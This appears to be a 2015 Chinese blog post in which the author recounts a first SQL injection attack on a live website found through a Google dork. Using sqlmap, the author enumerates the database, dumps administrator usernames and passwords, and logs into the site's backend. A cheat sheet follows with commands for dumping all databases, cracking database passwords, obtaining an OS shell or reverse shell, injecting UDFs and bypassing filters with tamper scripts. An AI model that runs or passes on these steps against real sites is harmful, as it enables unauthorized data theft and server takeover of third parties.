本文写于 2015.12.11

本人是遵纪守法的好少年,已上报给乌云

这次攻击毫无技术门槛,任何人都可以复制。只因是自己的第一次嘛,大家都懂的,趁这个机会也学习了些 sqlmap 和 sql 的知识,哈哈哈哈,开心就好。

Sqlmap 是一款非常强大的开源 sql 自动化注入工具,可以用来检测和利用sql注入漏洞。它由python语言开发而成,因此需要安装python环境。

注意: sqlmap 只用来检测和利用 sql 注入点,并不能扫描出网站有哪些漏洞。

首先当然是找到目标,通过一些 Google 的搜索技巧可以找到些问题网站,下面是几个常见的:

通过搜索 inurl:newsDetail.php?id= ,我发现了下面这个网站。

点开,在网址最后输入一个单引号( ‘ ),出现如下错误信息,说明这个站点存在 sql 注入漏洞。

接下来利用 Sqlmap 来进行信息收集,先看几个常用的参数:

下面开始实战。

第一步,我们来扫面当前网站的用户。

得到了数据库版本和当前用户信息。

第二步,获取当前数据库。

获取的数据库名称。

第三步,利用已知信息,结合参数“–tables”,来猜数据库中的表名。

获取的数据库中的表名。

注意:一般与网站后台相关的字段,比如“username, password, admin”等登陆相关的表名要重点关注。

第四步,在这个例子中,相关的是“dl”这个表。

得到下面这个表。

第五步,见证奇迹的时刻到了,利用参数组合获取信息。

得到下面的用户名和密码。

第六步,登陆后台后我们就大功告成了。

就这样,打完收工,好简单啊感觉。

参考资料:

基本步骤

sqlmap -u “http://url/news?id=1“ –current-user 获取当前用户名称
sqlmap -u “http://url/news?id=1“ –current-db 获取当前数据库名称
sqlmap -u “http://url/news?id=1“ –tables -D “db_name” 列表名
sqlmap -u “http://url/news?id=1“ –columns -T “tablename” -D “db_name” -v 0       列字段
sqlmap -u “http://url/news?id=1“ –dump -C “column_name” -T “table_name” -D “db_name” -v 0 获取字段内容

信息获取

sqlmap -u “http://url/news?id=1“ –smart –level 3 –users smart(智能),level(执行测试等级)
sqlmap -u “http://url/news?id=1“ –dbms “mysql” –users users列数据库用户,dbs列数据库
sqlmap -u “http://url/news?id=1“ –passwords 数据库用户密码
sqlmap -u “http://url/news?id=1“ –passwords -U root -v 0 列指定用户数据库密码
sqlmap -u “http://url/news?id=1“ –dumps -C “column_name” -T “table_name” -D “db_name” –start 1 –stop 20     列出指定字段
sqlmap -u “http://url/news?id=1“ –dump-all -v 0 列出所有数据库所有表
sqlmap -u “http://url/news?id=1“ –privileges -U root 查看指定用户权限
sqlmap -u “http://url/news?id=1“ –is-dba -v 1 是否是数据库管理员
sqlmap -u “http://url/news?id=1“ –roles 枚举数据库用户角色
sqlmap -u “http://url/news?id=1“ –udf-inject 导入用户自定义函数(获取系统权限!)
sqlmap -u “http://url/news?id=1“ –dump-all –exclude-sysdbs -v 0 列出当前库所有表
sqlmap -u “http://url/news?id=1“ –union-cols union查询表记录
sqlmap -u “http://url/news?id=1“ –cookie “COOKIE_VALUE” cookie注入
sqlmap -u “http://url/news?id=1“ –data “id=3” post注入
sqlmap -u “http://url/news?id=1“ -v 1 -f 指纹判别数据库类型
sqlmap -u “http://url/news?id=1“ –proxy “http://127.0.0.1:8118“ 代理注入
sqlmap -u “http://url/news?id=1“ –string “STRING_ON_TRUE_PAGE” 指定关键词
sqlmap -u “http://url/news?id=1“ –sql-shell 执行指定sql命令
sqlmap -u “http://url/news?id=1“ –os-cmd=whoami 执行系统命令
sqlmap -u “http://url/news?id=1“ –os-shell 系统交换shell
sqlmap -u “http://url/news?id=1“ –os-pwn 反弹shell
sqlmap -u “http://url/news?id=1“ –reg-read 读取windows系统注册表
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度
sqlmap -u “http://url/news?id=1“ –msf-path=/…/msf2 –os-pwn 反弹shell需要metasploit路径
sqlmap -u “http://url/news?id=1“ –tamper “base64encode.py” 加载脚本(可利用绕过注入限制)
sqlmap -g “google语法” –dump-all –batch google搜索注入点自动跑出所有字段